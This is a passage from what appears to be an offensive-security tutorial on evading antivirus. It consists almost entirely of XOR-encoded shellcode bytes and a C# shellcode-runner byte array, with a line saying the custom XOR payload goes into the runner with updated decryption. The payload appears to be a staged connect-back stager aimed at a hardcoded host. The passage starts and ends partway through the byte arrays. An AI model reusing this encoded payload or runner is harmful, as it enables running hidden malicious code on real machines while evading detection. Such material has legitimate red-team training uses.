0x93, 0xaa, 0xf0, 0xe2, 0x23, 0x6b, 0xe3, 0x6d, 0x6a, 0x11, 0xab, 0xaa, 0xaa, 0xe7, 0x9b, 0x63, 0xf9, 0xf9, 0xc0, 0xa9, 0xf9, 0xe3, 0x10, 0xfd, 0x23, 0x35, 0x6c, 0xaa, 0xaa, 0xaa, 0xaa, 0x55, 0x7f, 0x42, 0xd0, 0xaa, 0xaa, 0xaa, 0x85, 0xf9, 0xfd, 0xfb, 0xdf, 0xc9, 0xdb, 0xf3, 0x9f, 0xc8, 0x9a, 0xc5, 0xc7, 0xf9, 0xd3, 0xce, 0xe0, 0xfb, 0x9b, 0xeb, 0xda, 0xce, 0xcd, 0xed, 0xf9, 0xdd, 0xf2, 0xc3, 0xeb, 0xc8, 0xfa, 0xfa, 0xc0, 0x99, 0xe2, 0x98, 0x98, 0x9d, 0xe2, 0xc2, 0xe3, 0xfd, 0xeb, 0xf0, 0xff, 0xfd, 0xcc, 0xc3, 0xc5, 0xe8, 0x9c, 0xec, 0xde, 0xd3, 0xed, 0xdf, 0xe1, 0x87, 0xfb, 0xc4, 0xf2, 0xe4, 0xee, 0xee, 0xc3, 0xfd, 0xd3, 0x9f, 0xcb, 0x92, 0xdc, 0xf8, 0xe5, 0xe2, 0xde, 0xfd, 0xef, 0xce, 0xc8, 0xf2, 0xf5, 0xdd, 0xef, 0xc9, 0xfe, 0xfa, 0xe9, 0xe7, 0xf9, 0xf3, 0xc3, 0x9a, 0xec, 0xc8, 0xf2, 0xed, 0xf9, 0xfa, 0xd8, 0xcf, 0xc0, 0xfa, 0xe1, 0xf8, 0x9f, 0xdf, 0xe4, 0xf5, 0xe8, 0xfd, 0xfb, 0xf3, 0x98, 0xdc, 0xc5, 0xd0, 0x98, 0xfe, 0xfd, 0xe1, 0xd2, 0xaa, 0xe2, 0x23, 0x6b, 0xf9, 0xf0, 0xeb, 0xf2, 0xe7, 0x9b, 0x63, 0xf9, 0xe2, 0x12, 0xaa, 0x98, 0x02, 0x2e, 0xaa, 0xaa, 0xaa, 0xaa, 0xfa, 0xf9, 0xf9, 0xe3, 0x6d, 0x68, 0x41, 0xff, 0x84, 0x91, 0x55, 0x7f, 0xe2, 0x23, 0x6c, 0xc0, 0xa0, 0xf5, 0xe2, 0x23, 0x5b, 0xc0, 0xb5, 0xf0, 0xf8, 0xc2, 0x2a, 0x99, 0xaa, 0xaa, 0xe3, 0x23, 0x4a, 0xc0, 0xae, 0xeb, 0xf3, 0xe3, 0x10, 0xdf, 0xec, 0x34, 0x2c, 0xaa, 0xaa, 0xaa, 0xaa, 0x55, 0x7f, 0xe7, 0x9b, 0x6a, 0xf9, 0xf0, 0xe2, 0x23, 0x5b, 0xe7, 0x9b, 0x63, 0xe7, 0x9b, 0x63, 0xf9, 0xf9, 0xe3, 0x6d, 0x68, 0x87, 0xac, 0xb2, 0xd1, 0x55, 0x7f, 0x2f, 0x6a, 0xdf, 0xb5, 0xe2, 0x6d, 0x6b, 0x22, 0xb9, 0xaa, 0xaa, 0xe3, 0x10, 0xee, 0x5a, 0x9f, 0x4a, 0xaa, 0xaa, 0xaa, 0xaa, 0x55, 0x7f, 0xe2, 0x55, 0x65, 0xde, 0xa8, 0x41, 0x00, 0x42, 0xff, 0xaa, 0xaa, 0xaa, 0xf9, 0xf3, 0xc0, 0xea, 0xf0, 0xe3, 0x23, 0x7b, 0x6b, 0x48, 0xba, 0xe3, 0x6d, 0x6a, 0xaa, 0xba, 0xaa, 0xaa, 0xe3, 0x10, 0xf2, 0x0e, 0xf9, 0x4f, 0xaa, 0xaa, 0xaa, 0xaa, 0x55, 0x7f, 0xe2, 0x39, 0xf9, 0xf9, 0xe2, 0x23, 0x4d, 0xe2, 0x23, 0x5b, 0xe2, 0x23, 0x70, 0xe3, 0x6d, 0x6a, 0xaa, 0x8a, 0xaa, 0xaa, 0xe3, 0x23, 0x53, 0xe3, 0x10, 0xb8, 0x3c, 0x23, 0x48, 0xaa, 0xaa, 0xaa, 0xaa, 0x55, 0x7f, 0xe2, 0x29, 0x6e, 0x8a, 0x2f, 0x6a, 0xde, 0x18, 0xcc, 0x21, 0xad, 0xe2, 0xab, 0x69, 0x2f, 0x6a, 0xdf, 0x78, 0xf2, 0x69, 0xf2, 0xc0, 0xaa, 0xf3, 0x11, 0x4a, 0xb7, 0x80, 0xa0, 0xeb, 0x23, 0x70, 0x55, 0x7f 
</code></pre>

<p><img src="/assets/images/XorCrypt-output.png" alt="xorcrypt-output" /></p>

<p>Now, we will take the new custom XOR payload and put it within the shellcode runner, ensuring that we also update the decryption functionality:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="kt">byte</span><span class="p">[]</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">676</span><span class="p">]</span> <span class="p">{</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0xcf</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0xca</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0xb2</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xd8</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xa5</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0x96</span><span class="p">,</span> <span class="m">0xcb</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x86</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xa7</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x96</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0xcc</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0xb2</span><span class="p">,</span> <span class="m">0xa1</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0xa5</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0xd8</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0xcd</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xb2</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xee</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xea</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0x9e</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x7c</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xa7</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0x5b</span><span class="p">,</span> <span class="m">0xe6</span><span class="p">,</span> <span class="m">0xa9</span><span class="p">,</span> <span class="m">0xe6</span><span class="p">,</span> <span class="m">0x8e</span><span class="p">,</span> <span class="m">0xa2</span><span class="p">,</span> <span class="m">0xef</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xee</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xea</span><span class="p">,</span> <span class="m">0x8e</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0xcc</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xa6</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xee</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xea</span><span class="p">,</span> <span class="m">0xb6</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xae</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xf4</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0xf7</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x71</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0xdd</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0xcf</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0xe6</span><span class="p">,</span> <span class="m">0xdd</span><span class="p">,</span> <span class="m">0x8c</span><span class="p">,</span> <span class="m">0xad</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x90</span><span class="p">,</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0xd3</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0xa4</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x84</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x9c</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x84</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x84</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xa9</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x6c</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0xdb</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0xc8</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0xc5</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xd3</span><span class="p">,</span> <span class="m">0xce</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xda</span><span class="p">,</span> <span class="m">0xce</span><span class="p">,</span> <span class="m">0xcd</span><span class="p">,</span> <span class="m">0xed</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xdd</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xc8</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x99</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x9d</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0xcc</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0xc5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x9c</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0xd3</span><span class="p">,</span> <span class="m">0xed</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x87</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xe4</span><span class="p">,</span> <span class="m">0xee</span><span class="p">,</span> <span class="m">0xee</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0xd3</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0xcb</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0xdc</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0xe5</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0xef</span><span class="p">,</span> <span class="m">0xce</span><span class="p">,</span> <span class="m">0xc8</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xf5</span><span class="p">,</span> <span class="m">0xdd</span><span class="p">,</span> <span class="m">0xef</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0xfe</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xe9</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0xc8</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xed</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xd8</span><span class="p">,</span> <span class="m">0xcf</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0xe4</span><span class="p">,</span> <span class="m">0xf5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0xdc</span><span class="p">,</span> <span class="m">0xc5</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0xfe</span><span class="p">,</span> <span class="m">0xfd</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0x84</span><span class="p">,</span> <span class="m">0x91</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x6c</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xa0</span><span class="p">,</span> <span class="m">0xf5</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x5b</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xb5</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xf8</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x99</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xae</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x5b</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x87</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0xb2</span><span class="p">,</span> <span class="m">0xd1</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0xb5</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xb9</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0xee</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span 